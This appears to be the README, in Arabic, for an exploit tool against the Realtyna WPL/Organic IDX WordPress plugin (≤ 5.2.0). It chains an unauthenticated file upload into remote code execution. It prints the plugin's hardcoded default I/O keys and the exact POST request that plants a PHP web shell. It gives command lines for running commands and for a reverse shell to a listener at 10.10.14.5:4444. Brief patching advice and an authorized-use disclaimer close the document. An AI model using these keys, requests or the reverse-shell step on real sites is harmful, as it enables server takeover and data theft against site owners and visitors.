
استغلال رفع ملفات تعسفي غير مصادق عليه في إضافة Realtyna WPL/Organic IDX لووردبريس، يربط رفع ويب شيل PHP بثغرة RCE، مع أوضاع تنفيذ أوامر وشل عكسي.
تحميل ملف عشوائي غير مصادق عليه يؤدي إلى RCE في إضافة ووردبريس Realtyna WPL / Organic IDX (real-estate-listing-realtyna-wpl ≤ 5.2.0).
تسجّل الإضافة "خدمة I/O" على خطاف init العام في ووردبريس، ويمكن الوصول إليها بدون مصادقة من جذر الموقع عبر ?wplview=io&wplformat=io. البوابة الوحيدة هي زوج من المفاتيح الافتراضية الثابتة والمشفّرة المضمنة في ملفات ترحيل الإضافة (متطابقة في كل تثبيت)، مع تفعيل io_status افتراضيًا:
public_key = U7hdbv673YhdjplzzX7wU7hdbv673YhdjplzzX7w
private_key = Eft76bdh0o2uyhJkbG3T
أمر set_property (libraries/io/mobile_application/set_property.php → wpl_file::upload) يحفظ الملف المرفوع file[] باستخدام move_uploaded_file و بدون فحص الامتداد أو نوع MIME، لذلك يمكن وضع قشرة ويب .php وتنفيذها كمستخدم الويب.
real-estate-listing-realtyna-wpl ≤ 5.2.0www-data)مكتبة Python 3 القياسية فقط — لا توجد اعتماديات.
# run a command and print output
python3 exploit.py http://target/ -c id
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://target/ --shell 10.10.14.5:4444
POST /?wplview=io&wplformat=io&public_key=…&private_key=…&cmd=set_property&commands_directory=mobile_application&user_id=1
مع ملف متعدد الأجزاء file[] باسم image_<name>.php. تتم إزالة البادئة image_، لذلك يُحفظ الملف
باسم <name>.php.wp-content/uploads/WPL/<pid>/<name>.php، حيث <pid> هو
معرف العقار الذي أنشأه الطلب (الاستجابة لا تعرضه). تقوم الأداة
بتعداد معرّفات العقارات الصغيرة للعثور على القشرة.…/<name>.php?c=<cmd>.موقع ووردبريس يحتوي على إضافة real-estate-listing-realtyna-wpl النشطة بإصدار ≤ 5.2.0. تستجيب نقطة النهاية عند GET /?wplview=io&wplformat=io (خدمة I/O الخاصة بالإضافة).
حدّث الإضافة إلى ≥ 5.3.0، وتحقق من امتدادات الملفات المرفوعة ونوع MIME، ولا تنفّذ PHP من wp-content/uploads أبدًا، وقم بتدوير مفاتيح I/O الافتراضية الثابتة للإضافة.
للاستخدام في الاختبارات الأمنية المصرح بها والأغراض التعليمية فقط. استخدمه فقط ضد الأنظمة التي تملكها أو لديك إذن صريح لاختبارها.